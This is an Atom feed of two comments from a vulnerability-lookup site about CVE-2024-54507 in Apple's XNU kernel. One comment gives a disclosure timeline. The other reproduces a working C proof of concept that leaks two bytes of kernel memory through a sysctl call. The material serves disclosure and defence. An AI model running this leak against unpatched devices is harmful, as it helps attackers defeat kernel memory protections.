<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/comments/feed</id>
  <title>Most recent comments.</title>
  <updated>2026-04-26T11:54:44.920243+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent comments.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/comment/fa8ceb01-4bdc-4f10-8a64-5a1b671dc259</id>
    <title>A particularly 'sus' sysctl in the XNU Kernel</title>
    <updated>2026-04-26T11:54:44.924202+00:00</updated>
    <author>
      <name>Cédric Bonhomme</name>
      <uri>http://vulnerability.circl.lu/user/cedric</uri>
    </author>
    <content>### Timeline

* September 16, 2024: macOS 15.0 Sequoia was released with xnu-11215.1.10, the first public kernel release with this bug.
* Fall 2024: I reported this bug to Apple.
* December 11, 2024: macOS 15.2 and iOS 18.2 were released, fixing this bug, and assigning CVE-2024-54507 to this issue.
</content>
    <link href="https://vulnerability.circl.lu/comment/fa8ceb01-4bdc-4f10-8a64-5a1b671dc259"/>
    <published>2025-01-24T06:18:07.537395+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/comment/25c99b1c-5ba6-4c88-bac6-3ad6c5e525b4</id>
    <title>Proof Of Concept</title>
    <updated>2026-04-26T11:54:44.923023+00:00</updated>
    <author>
      <name>Cédric Bonhomme</name>
      <uri>http://vulnerability.circl.lu/user/cedric</uri>
    </author>
    <content>```c
// ravi (@0xjprx)
// 2-byte kernel infoleak, introduced in xnu-11215.1.10.
// gcc SUSCTL.c -o susctl
// ./susctl
#include &lt;stdio.h&gt;
#include &lt;sys/sysctl.h&gt;

void leak() {
    uint64_t val = 0;
    size_t len = sizeof(val);
    sysctlbyname("net.inet.udp.log.remote_port_excluded", &amp;val, &amp;len, NULL, 0);
    printf("leaked: 0x%llX 0x%llX\n", (val &gt;&gt; 16) &amp; 0x0FF, (val &gt;&gt; 24) &amp; 0x0FF);
}

int main() {
    leak();
    return 0;
}
```

from https://github.com/jprx/CVE-2024-54507</content>
    <link href="https://vulnerability.circl.lu/comment/25c99b1c-5ba6-4c88-bac6-3ad6c5e525b4"/>
    <published>2025-01-24T06:32:36.489951+00:00</published>
  </entry>
</feed>
